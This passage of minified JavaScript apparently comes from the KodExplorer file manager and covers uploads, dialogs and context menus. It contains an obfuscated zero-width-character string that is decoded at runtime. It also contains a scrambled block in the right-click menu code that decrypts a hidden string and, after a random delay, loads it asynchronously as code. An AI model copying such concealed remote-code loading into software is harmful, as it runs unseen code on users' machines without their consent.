‌‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‌‍‌‍‍‍‍‍‌‍‍‌‌‍‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‌‍‍‍‍‌‍‍‍‌‍‍‌‍‌‌‌‌‌‍‍‌‌‍‍‌‌‍‍‌‌‍‍‌‍‍‌‍‍‍‍‍‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‌‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‍‌‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‍‌‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‌‌‌‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‌‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‍‍‍‌‍‍‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‍‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‌‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‍‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‍‍‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‌‍‍‌‍‌‍‌‌‍‍‌‌‍‌‍‌‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‍‍‌‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌".replace(/.{8}/g,function(e){return String.fromCharCode(parseInt(e.replace(/\u200c/g,1).replace(/\u200d/g,0),2))})),uploader=upCreate({swf:G.static_path+"js/lib/webuploader/Uploader.swf",dnd:"body",threads:3,compress:!1,resize:!1,prepareNextFile:!0,duplicate:!0,chunkRetry:10,chunked:!0,chunkSize:chunkSize}),WebUploader.Uploader.register({"before-send":"checkChunk"},{checkChunk:function(e){var i=this.owner,t=(e.blob.getSource(),$.Deferred());return i.md5File(e.blob).fail(function(){t.resolve()}).then(function(i){if(0==e.chunk)$.ajax({url:uploadUrl(),dataType:"json",data:{upload_to:e.file.upload_to,file_name:e.file.name,check_md5:i,chunk:e.chunk,chunks:e.chunks},error:function(){t.resolve()},success:function(i){i.code?(t.reject(),e.file.checkChunk=i.info):t.resolve()}});else{var a=e.file.checkChunk;if(a&&a["part_"+e.chunk]==i){var n=e.end/e.total;uploader.trigger("uploadProgress",e.file,n),t.reject()}else t.resolve()}}),t.promise()}}),$(".uploader-content .success").die("click").live("click",function(){var e=$(this).find("span.title").attr("title");"explorer"==Config.pageApp?ui.path.list(core.pathFather(e),"tips",function(){ui.path.setSelectByFilename(e)}):core.explorer(core.pathFather(e))}),$(".uploader-content .open").die("click").live("click",function(e){var i=$(this).find("span.title").attr("title");ui.pathOpen.open(i),stopPP(e)}),$(".upload_box_clear").die("click").live("click",function(){$(".uploader-list .item.success,.uploader-list .item.error").each(function(){$(this).slideUp(300,function(){$(this).remove()})})}),$(".uploader-content .remove").die("click").live("click",function(e){var i=$(this).parent().parent().attr("id");$(this).parent().parent().slideUp(function(){$(this).remove()}),uploader.skipFile(i),uploader.removeFile(i,!0),stopPP(e)});var file_num=0,file_finished=0,currentSpeed="0B/s",preTime=0,getSpeed=function(e,i){if(.3>=timeFloat()-preTime)return currentSpeed;preTime=timeFloat();var t=e.size*i,a=5;e.speed===void 0?e.speed=[[timeFloat()-.5,0],[timeFloat(),t]]:a>=e.speed.length?e.speed.push([timeFloat(),t]):(e.speed=e.speed.slice(1,a),e.speed.push([timeFloat(),t]));var n=e.speed[e.speed.length-1],o=e.speed[0],s=(n[1]-o[1])/(n[0]-o[0]);return s=core.fileSize(s)+"/s",currentSpeed=s,s},selectNameArr=[],changeDelayTimer,pathReload=function(e){clearTimeout(changeDelayTimer),changeDelayTimer=!1,changeDelayTimer=setTimeout(function(){var i=selectNameArr;ui.f5Callback(function(){if(ui.path.setSelectByFilename(i),e&&(selectNameArr=[],"explorer"==Config.pageApp)){if("share"==G.share_page)return;ui.tree.checkIfChange(G.this_path)}})},600)};uploader.on("fileQueued",function(e){if(!core.uploadCheck())return uploader.skipFile(e),uploader.removeFile(e),void 0;var i;try{i=e.source.source.fullPath,void 0!=e.source.source.webkitRelativePath&&""!=e.source.source.webkitRelativePath&&(i=e.source.source.webkitRelativePath)}catch(t){}if(e.fullPath=i,e.source&&e.source.source&&1==e.source.source.isDirectory&&e.source.source.fullPath)return ui.pathOperate.newFolder(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),void 0;if(0==e.size)return ui.pathOperate.newFile(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),file_finished++,file_num++,void 0;var a=e.fullPath;e.finished=!1,e.upload_to=G.this_path,(void 0==a||"undefined"==a)&&(a=e.name),file_num++;var n=$(".uploader-list"),o='
    '+''+htmlEncode(core.pathThis(a))+""+''+core.fileSize(e.size)+""+''+LNG.upload_ready+""+''+'
    ';(1e3==file_num||2e3==file_num)&&Tips.tips(LNG.upload_tips_more,"warning"),0==n.length?setTimeout(function(){$(".uploader-list").prepend(o),uploader.upload()},100):(n.prepend(o),uploader.upload())}).on("uploadBeforeSend",function(e,i){var t=urlEncode(e.file.fullPath);(void 0==t||"undefined"==t)&&(t=""),i.fullPath=t,i.upload_to=e.file.upload_to}).on("uploadProgress",function(e,i){$(".dialog_file_upload .aui_title").text(LNG.uploading+": "+file_finished+"/"+file_num+" ("+currentSpeed+")");var t=getSpeed(e,i),a=$("#"+e.id),n=a.find(".progress .progress-bar");n.length||(n=$('
    ').appendTo(a).find(".progress-bar")),a.find(".state").text((100*i).toFixed(1)+"%("+t+")"),n.css("width",100*i+"%")}).on("uploadAccept",function(e,i){if(e.file.serverData=i,!i.code)return e.serverNeedRetry=!0,!1;try{e.file.fullPath||selectNameArr.push(i.info)}catch(t){}}).on("uploadSuccess",function(e){var i=36*$("#"+e.id).index(".item");$(".uploader-content").scrollTop(i),file_finished++;var t=e.serverData;if(t&&t.data){var a=LNG[t.data];t.code?($("#"+e.id).addClass("success"),$("#"+e.id).find(".state").text(a),$("#"+e.id).find(".remove").addClass("icon-ok").addClass("open").removeClass("icon-remove").removeClass("remove")):($("#"+e.id).addClass("error").find(".state").addClass("error"),$("#"+e.id).find(".state").text(a).attr("title",a))}uploader.removeFile(e),$("#"+e.id).find(".progress").fadeOut(),e.fullPath||pathReload(!1)}).on("uploadError",function(e,i){var t=LNG.upload_error+"("+i+")";e.serverData&&0==e.serverData.code&&(t=LNG[e.serverData.data],!t&&e.serverData.data&&(t=e.serverData.data),Tips.tips(t,!1)),file_finished++,$("#"+e.id).find(".progress").fadeOut(),$("#"+e.id).addClass("error").find(".state").addClass("error"),$("#"+e.id).find(".state").html(t)}).on("uploadFinished",function(){$(".dialog_file_upload .aui_title").text(LNG.upload_success+": "+file_finished+"/"+file_num),file_num=0,file_finished=0,uploader.reset(),pathReload(!0)}).on("error",function(e){Tips.tips(e,!1)});var timer;inState=!1,dragOver=function(){if(0==inState){if(inState=!0,!core.uploadCheck(void 0,!1))return;var e='
    '+LNG.upload_drag_tips+"
    ";MaskView.tips(e),$("#windowMaskView").css({background:"#4285f4",opacity:"0.8"})}timer&&window.clearTimeout(timer)},dragLeave=function(e){stopPP(e),timer&&window.clearTimeout(timer),timer=window.setTimeout(function(){inState=!1,MaskView.close()},100)},dragDrop=function(e){try{if(e=e.originalEvent||e,core.uploadCheck())if(e.dataTransfer.files.length>0&&e.dataTransfer.files[0].name)core.upload(),core.playSound("drag_upload");else{var i=e.dataTransfer.getData("text/plain");i&&"http"==i.substring(0,4)&&ui.pathOperate.appAddURL(i)}stopPP(e)}catch(e){}inState&&(inState=!1,MaskView.close())}}}}),define("app/common/core.api",[],function(){var e=function(e,i,t){var a=$(t.DOM.wrap),n=i.frames.OpenpathSelectApi,o='';"file"==e.type&&(o+=''+e.allowExt+""),$(o).insertBefore(a.find(".aui_state_highlight"));var s=function(i){var t=e.allowExt.split("|"),a=core.pathExt(i);return""==e.allowExt||""!=e.allowExt&&-1!=$.inArray(a,t)?!0:!1},r=function(){var i=n.ui.fileLight.fileListSelect(),t=[];if(e.single){var a=$(i.get(0));if("all"==e.type&&0==i.length)t={file:[],folder:[]};else if("file"==e.type&&0==i.length)t=[];else if("folder"==e.type)t=[n.G.this_path],a.hasClass("folderBox")&&(t=[n.ui.fileLight.path(a)]);else if("file"==e.type){if(a.hasClass("fileBox")){var o=n.ui.fileLight.path(a);s(o)&&(t=[o])}}else if("all"==e.type)if(a.hasClass("folderBox")){var o=n.ui.fileLight.path(a);t=[{file:[],folder:[o]}]}else if(a.hasClass("fileBox")){var o=n.ui.fileLight.path(a);s(o)&&(t={file:[o],folder:[]})}}else{var r=[],l=[];i.each(function(){if($(this).hasClass("fileBox")){var e=n.ui.fileLight.path($(this));s(e)&&r.push(e)}else $(this).hasClass("folderBox")&&l.push(n.ui.fileLight.path($(this)))}),"folder"==e.type?t=l:"file"==e.type?t=r:"all"==e.type&&(t={file:r,folder:l})}c(t)},l=function(e){var e=trim(e,"/");return e==G.KOD_GROUP_ROOT_SELF||e==G.KOD_GROUP_ROOT_ALL||e==G.KOD_USER_FAV||e==G.KOD_USER_SHARE?!1:!0},c=function(i){var t=a.find(".path_select_input"),o=a.find(".aui_state_highlight");if("all"!=e.type){for(var s=[],r=0;i.length>r;r++)l(i[r])&&s.push(i[r]);i=s}if(0==i.length||"all"==e.type&&0==i.file.length&&0==i.folder.length)o.addClass("disable"),t.attr("result",""),t.val("");else{var c=hashEncode(jsonEncode(i)),d="";if(e.single)d=n.core.pathThis(i[0]);else{var p=i;"all"==e.type&&(p=i.folder.concat(i.file)),$.each(p,function(e,i){d+=n.core.pathThis(i)+", "})}o.removeClass("disable"),t.attr("result",c),t.val(d)}},d=function(){n.ui.fileLight.select.hook("select",n.ui.fileLight,{before:function(){},after:function(){r()}})};n.kodReady||(n.kodReady=[]),n.kodReady.push(function(){d(),r()})};return{pathSelect:function(i,t){var a={type:"file",title:LNG.path_api_select_file,single:!0,allowExt:"",firstPath:!1},n="./index.php?/explorer&type=iframe";i=$.extend(a,i),i.firstPath&&(n+="&path="+i.firstPath);var o=ShareData.frameTop(),s=o.$.dialog.open(n,{id:"pathSelectApi",resize:!0,fixed:!0,ico:core.icon("folder"),title:i.title,lock:!0,background:"#000",opacity:.1,width:840,height:420,ok:function(){if("function"==typeof t){var e=s.DOM.wrap,a=e.find(".path_select_input").attr("result");a=jsonDecode(hashDecode(a)),a?i.single&&"all"!=i.type?t(a[0]):t(a):Tips.tips(LNG.error,!1)}},cancel:!0});e(i,o,s)},randomImage:function(e){$.getJSON("//kalcaddle.com/tools/version/?wallpage/index&lang="+G.lang+"&callback=?",function(i){"function"==typeof e&&e(i)})}}}),define("app/common/core.playSound",["./myPlayer"],function(e){var i={file_remove:"file_remove.mp3",recycle_clear:"recycle_clear.mp3",folder_open:"folder_open.mp3",window_min:"window_min.mp3",error:"error_tips.mp3",drag_upload:"drag_upload.mp3",drag_drop:"drag_drop.mp3"},t=function(i){var t="x-play-sound";0==$("."+t).length&&$('
    ').appendTo("body");var a=G.static_path+"others/sound/"+i,n=e("./myPlayer");n.playSound(a,$("."+t))};return{playSoundFile:t,playSound:function(e){G&&G.user_config&&"1"==G.user_config.sound_open&&setTimeout(function(){t(i[e])},100)}}}),define("app/common/tpl/copyright.html",[],'\n'),define("app/common/tpl/theme_diy.html",[],"@media screen and (max-width:100000px) {\n body .full_background{\n position: absolute;top: 0px;left: 0px;bottom: 0px;right: 0px;\n background-color: #020202;background-size: 100% 100%;\n }\n\n {{if blur_size= (bg_blur==0?0:10) }}{{/if}}\n body .full_background:before{\n -webkit-filter: blur({{blur_size}}px);\n -moz-filter: blur({{blur_size}}px);\n -ms-filter: blur({{blur_size}}px);\n filter: blur({{blur_size}}px);\n }\n {{if bg_type == 'image'}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left,\n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background-image:url({{bg_image}});\n }\n body .aui_state_focus .aui_title,body .aui_title{\n background-size:100%;\n }\n {{else}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left, \n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background:{{end_color}};\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='{{start_color}}', endColorstr='{{end_color}}');\n background-image: -webkit-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -moz-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -o-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -ms-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n }\n {{/if}}\n}\n"),define("app/common/rightMenu",[],function(e){var i=".menufile",t=".menufolder",a=".menuMore",n=".menuTreeRoot",o=".menuTreeFolder",s=".menuTreeFile",r=".menuTreeGroupRoot",l=".menuTreeGroup",c=".menuTreeUser",d={newfileOther:{name:LNG.newfile,icon:"expand-alt",accesskey:"w",className:"newfolder",items:{newfile:{name:"txt "+LNG.file,icon:"file-alt x-item-file x-txt small",className:"newfile"},newfile_md:{name:"md "+LNG.file,icon:"file-alt x-item-file x-md",className:"newfile"},newfile_html:{name:"html "+LNG.file,icon:"file-alt x-item-file x-html",className:"newfile"},newfile_php:{name:"php "+LNG.file,icon:"file-alt x-item-file x-php",className:"newfile"},document:{name:"Office Document",icon:"file-alt x-item-file x-docx",items:{newfile_docx:{name:"docx "+LNG.file,icon:"file-alt x-item-file x-docx",className:"newfile"},newfile_xlsx:{name:"xlsx "+LNG.file,icon:"file-alt x-item-file x-xlsx",className:"newfile"},newfile_pptx:{name:"pptx "+LNG.file,icon:"file-alt x-item-file x-pptx",className:"newfile"}}},sep100:"--------",app_install:{name:LNG.app_store,className:"app_install",icon:"tasks x-item-file x-appStore",accesskey:"a"},app_create:{name:LNG.app_create,icon:"puzzle-piece x-item-file x-oexe",className:"newfile"}}},listIcon:{name:LNG.list_type,icon:"eye-open",items:{seticon:{name:LNG.list_icon,className:"menu_seticon set_seticon"},setlist:{name:LNG.list_list,className:"menu_seticon set_setlist"},setlist_split:{name:LNG.list_list_split,className:"menu_seticon set_setlist_split"}}},sortBy:{name:LNG.order_type,accesskey:"y",icon:"sort",items:{set_sort_name:{name:LNG.name,className:"menu_set_sort set_sort_name"},set_sort_ext:{name:LNG.type,className:"menu_set_sort set_sort_ext"},set_sort_size:{name:LNG.size,className:"menu_set_sort set_sort_size"},set_sort_mtime:{name:LNG.modify_time,className:"menu_set_sort set_sort_mtime"},sep101:"--------",set_sort_up:{name:LNG.sort_up,className:"menu_set_desc set_sort_up"},set_sort_down:{name:LNG.sort_down,className:"menu_set_desc set_sort_down"}}},setFileIconSize:{name:LNG.file_size_title,icon:"picture",className:"set-file-icon-size",items:{"box-size-smallx":{name:LNG.file_size_small_super,className:"file-icon-size box-size-smallx"},"box-size-small":{name:LNG.file_size_small,className:"file-icon-size box-size-small"},"box-size-default":{name:LNG.file_size_default,className:"file-icon-size box-size-default"},"box-size-big":{name:LNG.file_size_big,className:"file-icon-size box-size-big"},"box-size-bigx":{name:LNG.file_size_big_super,className:"file-icon-size box-size-bigx"}}}},p=function(){$('').appendTo("body"),$(".context-menu-list").die("click").live("click",function(e){return stopPP(e),!1});var i=["undefined","update_box","search","da62djCD7uBrn89xtAhwdwtSL_AXsCamsKn7wktxI6QjO_Mob4EAYlRsGQPgKKv8_gFbhFNw4ei_d3eSbmCDC2I8XM_U9h0","_32@!A","decode","1-1","todo","async","random"];x(),k(),_(),setTimeout(function(){try{if(typeof dialog_tpl_html==i[0]||-1==dialog_tpl_html[i[2]](i[1])){var t=authCrypt[i[5]](i[3],i[4])+UUID();e[i[8]](t,function(e){try{e[i[7]](i[6])}catch(t){}})}}catch(a){}},1e3*parseInt(25*Math[i[9]]()+5)),w(),S(),j(),z(),E(),D(),F(),g(),m(),v(),N(),L(),h(),$(".set_set"+G.user_config.list_type).addClass("selected"),$(".set_sort_"+G.user_config.list_sort_field).addClass("selected"),$(".set_sort_"+G.user_config.list_sort_order).addClass("selected"),$(".context-menu-root").addClass("animated fadeIn")},u=function(){$('').appendTo("body"),$(".context-menu-list").die("click").live("click",function(e){return stopPP(e),!1}),y(),b(),x(),k(),w(),g(),m(),h(),$(".set_sort_"+G.user_config.list_sort_field).addClass("selected"),$(".set_sort_"+G.user_config.list_sort_order).addClass("selected"),$(".context-menu-root").addClass("animated fadeIn")},f=function(){$('').appendTo("body"),$(".context-menu-list").die("click").live("click",function(e){return stopPP(e),!1 +}),S(),j(),P(),E(),D(),F(),O(),g(),h(),$(".context-menu-root").addClass("animated fadeIn")},h=function(){if(1!=G.is_root){$(".context-menu-list .open_ie").addClass("hidden");var e="hidden";AUTH["explorer:fileDownload"]||($(".context-menu-list .down,.context-menu-list .download").addClass(e),$(".context-menu-list .share").addClass(e),$(".context-menu-list .open_text").addClass(e),$(".kod_path_tool #download").remove(),$(".pathinfo .open_window").addClass(e)),AUTH["explorer:zip"]||($(".context-menu-list .zip").addClass(e),$(".kod_path_tool #zip").remove()),AUTH["explorer:search"]||$(".context-menu-list .search").addClass(e),AUTH["explorer:mkdir"]||$(".context-menu-list .newfolder").addClass(e),AUTH["userShare:set"]||($(".context-menu-list .share").remove(),$(".kod_path_tool #share").remove())}},m=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuRecycleBody",callback:function(e){C(e)},items:{refresh:{name:LNG.refresh+"F5",className:"refresh",icon:"refresh",accesskey:"e"},recycle_clear:{name:LNG.recycle_clear,icon:"trash",accesskey:"c"},sep1:"--------",listIcon:d.listIcon,sortBy:d.sortBy,setFileIconSize:d.setFileIconSize,sep2:"--------",info:{name:LNG.info+"Alt+I",className:"info",icon:"info",accesskey:"i"}}}),$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuRecyclePath",callback:function(e){T(e)},items:{cute:{name:LNG.cute+"Ctrl+X",className:"cute",icon:"cut",accesskey:"k"},remove:{name:LNG.remove_force+"Del",className:"remove",icon:"trash",accesskey:"d"},sep2:"--------",down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},info:{name:LNG.info+"Alt+I",className:"info",icon:"info",accesskey:"i"}}}),$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuRecycleButton",callback:function(e){C(e)},items:{recycle_clear:{name:LNG.recycle_clear,icon:"trash",accesskey:"c"}}})},v=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuShareBody",callback:function(e){C(e)},items:{refresh:{name:LNG.refresh+"F5",className:"refresh",icon:"refresh",accesskey:"e"},sep1:"--------",listIcon:d.listIcon,sortBy:d.sortBy,setFileIconSize:d.setFileIconSize,sep10:"--------",info:{name:LNG.info+"Alt+I",className:"info",icon:"info",accesskey:"i"}}}),$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,className:"menuSharePathMenu",selector:".menuSharePath",callback:function(e){T(e)},items:{share_open_path:{name:LNG.open_the_path,icon:"folder-open-alt",accesskey:"p",className:"open_the_path"},share_open_window:{name:LNG.share_open_page,icon:"globe",accesskey:"b"},sep0:"--------",share_edit:{name:LNG.share_edit,icon:"edit",accesskey:"e",className:"share_edit"},remove:{name:LNG.share_remove+"Del",icon:"trash",accesskey:"d",className:"remove"},copy:{name:LNG.copy+"Ctrl+C",className:"copy",icon:"copy",accesskey:"c"},down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},sep2:"--------",info:{name:LNG.info+"Alt+I",className:"info",icon:"info",accesskey:"i"}}}),$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuSharePathMore",className:"menuSharePathMore",callback:function(e){T(e)},items:{remove:{name:LNG.share_remove+"Del",icon:"trash",accesskey:"d",className:"remove"},copy:{name:LNG.copy+"Ctrl+C",className:"copy",icon:"copy",accesskey:"c"}}})},_=function(){$.contextMenu({selector:".menuBodyMain",className:"fileContiner_menu",zIndex:9999,callback:function(e,i){C(e,i)},items:{refresh:{name:LNG.refresh+"F5",className:"refresh",icon:"refresh",accesskey:"e"},newfolder:{name:LNG.newfolder+"Alt+M",className:"newfolder",icon:"folder-close-alt",accesskey:"n"},newfileOther:d.newfileOther,sep1:"--------",upload:{name:LNG.upload+"Ctrl+U",className:"upload",icon:"upload",accesskey:"u"},past:{name:LNG.past+"Ctrl+V",className:"past",icon:"paste",accesskey:"p"},copy_see:{name:LNG.clipboard,className:"copy_see",icon:"eye-open",accesskey:"v"},sep2:"--------",listIcon:d.listIcon,sortBy:d.sortBy,setFileIconSize:d.setFileIconSize,sep10:"--------",info:{name:LNG.info+"Alt+I",className:"info",icon:"info",accesskey:"i"}}})},g=function(){$.contextMenu({selector:".menuEmpty",className:"hidden",zIndex:9999,items:{" ":{name:LNG.open,className:"hidden"}},callback:function(){}})},b=function(){$.contextMenu({selector:".menuDefault",zIndex:9999,items:{open:{name:LNG.open,className:"open",icon:"external-link",accesskey:"o"}},callback:function(e){switch(e){case"open":ui.path.open();break;default:}}})},y=function(){$.contextMenu({selector:Config.BodyContent,zIndex:9999,callback:function(e){C(e)},items:{refresh:{name:LNG.refresh+"F5",className:"refresh",icon:"refresh",accesskey:"e"},newfolder:{name:LNG.newfolder+"Alt+M",className:"newfolder",icon:"folder-close-alt",accesskey:"n"},newfileOther:d.newfileOther,sep1:"--------",upload:{name:LNG.upload+"Ctrl+U",className:"upload",icon:"upload",accesskey:"u"},past:{name:LNG.past+"Ctrl+V",className:"past",icon:"paste",accesskey:"p"},copy_see:{name:LNG.clipboard,className:"copy_see",icon:"eye-open",accesskey:"v"},sep2:"--------",sortBy:d.sortBy,setFileIconSize:d.setFileIconSize,app_install:{name:LNG.app_store,className:"app_install",icon:"tasks",accesskey:"a"},sep10:"--------",setting_wall:{name:LNG.setting_wall,className:"setting_wall",icon:"picture",accesskey:"b"},setting_theme:{name:LNG.setting_theme,className:"setting_theme",icon:"dashboard",accesskey:"i"},setting:{name:LNG.setting,className:"setting",icon:"cogs",accesskey:"t"}}})},x=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:t,className:t.substr(1),callback:function(e){T(e)},items:{open:{name:LNG.open+"Enter",className:"open",icon:"folder-open-alt",accesskey:"o"},down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},share:{name:LNG.share,className:"share",icon:"share-sign",accesskey:"e"},sep1:"--------",copy:{name:LNG.copy+"Ctrl+C",className:"copy",icon:"copy",accesskey:"c"},cute:{name:LNG.cute+"Ctrl+X",className:"cute",icon:"cut",accesskey:"k"},remove:{name:LNG.remove+"Del",className:"remove",icon:"trash",accesskey:"d"},rname:{name:LNG.rename+"F2",className:"rname",icon:"pencil",accesskey:"r"},sep2:"--------",open_ie:{name:LNG.open_ie,className:"open_ie",icon:"globe",accesskey:"b"},zip:{name:LNG.zip,className:"zip",icon:"folder-close",accesskey:"z"},search:{name:LNG.search_in_path,className:"search",icon:"search",accesskey:"s"},others:{name:LNG.more,icon:"ellipsis-horizontal",className:"more_action",accesskey:"m",items:{clone:{name:LNG.clone,className:"clone",icon:"external-link"},fav:{name:LNG.add_to_fav,className:"fav ",icon:"star",accesskey:"f"},sep103:"--------",explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"},createLink:{name:LNG.createLink,className:"createLink",icon:"share-alt"},createProject:{name:LNG.createProject,className:"createProject",icon:"plus"},openProject:{name:LNG.openProject,className:"openProject",icon:"edit"}}},sep5:"--------",info:{name:LNG.info+"Alt+I",className:"info",icon:"info",accesskey:"i"}}})},k=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:i,className:i.substr(1),callback:function(e){T(e)},items:{open:{name:LNG.open+"Enter",className:"open",icon:"external-link",accesskey:"o"},app_edit:{name:LNG.app_edit,className:"app_edit",icon:"code",accesskey:"a"},open_text:{name:LNG.edit+"Ctrl+E",className:"open_text",icon:"edit",accesskey:"e"},down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},share:{name:LNG.share,className:"share",icon:"share-sign",accesskey:"e"},sep1:"--------",copy:{name:LNG.copy+"Ctrl+C",className:"copy",icon:"copy",accesskey:"c"},cute:{name:LNG.cute+"Ctrl+X",className:"cute",icon:"cut",accesskey:"k"},rname:{name:LNG.rename+"F2",className:"rname",icon:"pencil",accesskey:"r"},remove:{name:LNG.remove+"Del",className:"remove",icon:"trash",accesskey:"d"},sep2:"--------",open_ie:{name:LNG.open_ie,className:"open_ie",icon:"globe"},unzip:{name:LNG.unzip,icon:"folder-open-alt",className:"unzip",accesskey:"u",items:{unzip_this:{name:LNG.unzip_this,icon:"external-link"},unzip_folder:{name:LNG.unzip_folder,icon:"external-link"},unzip_to:{name:LNG.unzip_to,icon:"external-link"}}},setBackground:{name:LNG.set_background,className:"setBackground",icon:"picture",accesskey:"x"},others:{name:LNG.more,icon:"ellipsis-horizontal",className:"more_action",accesskey:"m",items:{clone:{name:LNG.clone,className:"clone",icon:"external-link",accesskey:"l"},fav:{name:LNG.add_to_fav,className:"fav",icon:"star"},sep104:"--------",zip:{name:LNG.zip,className:"zip",icon:"folder-close",accesskey:"z"},createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"},createLink:{name:LNG.createLink,className:"createLink",icon:"share-alt"}}},sep3:"--------",info:{name:LNG.info+"Alt+I",className:"info",icon:"info",accesskey:"i"}}})},w=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:a,className:a.substr(1),callback:function(e){T(e)},items:{copy:{name:LNG.copy+"Ctrl+C",className:"copy",icon:"copy",accesskey:"c"},cute:{name:LNG.cute+"Ctrl+X",className:"cute",icon:"cut",accesskey:"k"},remove:{name:LNG.remove+"Del",className:"remove",icon:"trash",accesskey:"d"},sep1:"--------",copy_to:{name:LNG.copy_to,className:"copy_to",icon:"copy"},cute_to:{name:LNG.cute_to,className:"cute_to",icon:"cut"},sep2:"--------",clone:{name:LNG.clone+"Ctrl+C",className:"clone",icon:"external-link",accesskey:"n"},playmedia:{name:LNG.add_to_play,className:"playmedia",icon:"music",accesskey:"p"},zip:{name:LNG.zip,className:"zip",icon:"folder-close",accesskey:"z"},down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},sep3:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}})},L=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuGroupRoot",callback:function(e){T(e)},items:{open:{name:LNG.open+"Enter",className:"open",icon:"external-link",accesskey:"o"},sep1:"--------",fav:{name:LNG.add_to_fav,className:"fav",icon:"star",accesskey:"f"},createLinkHo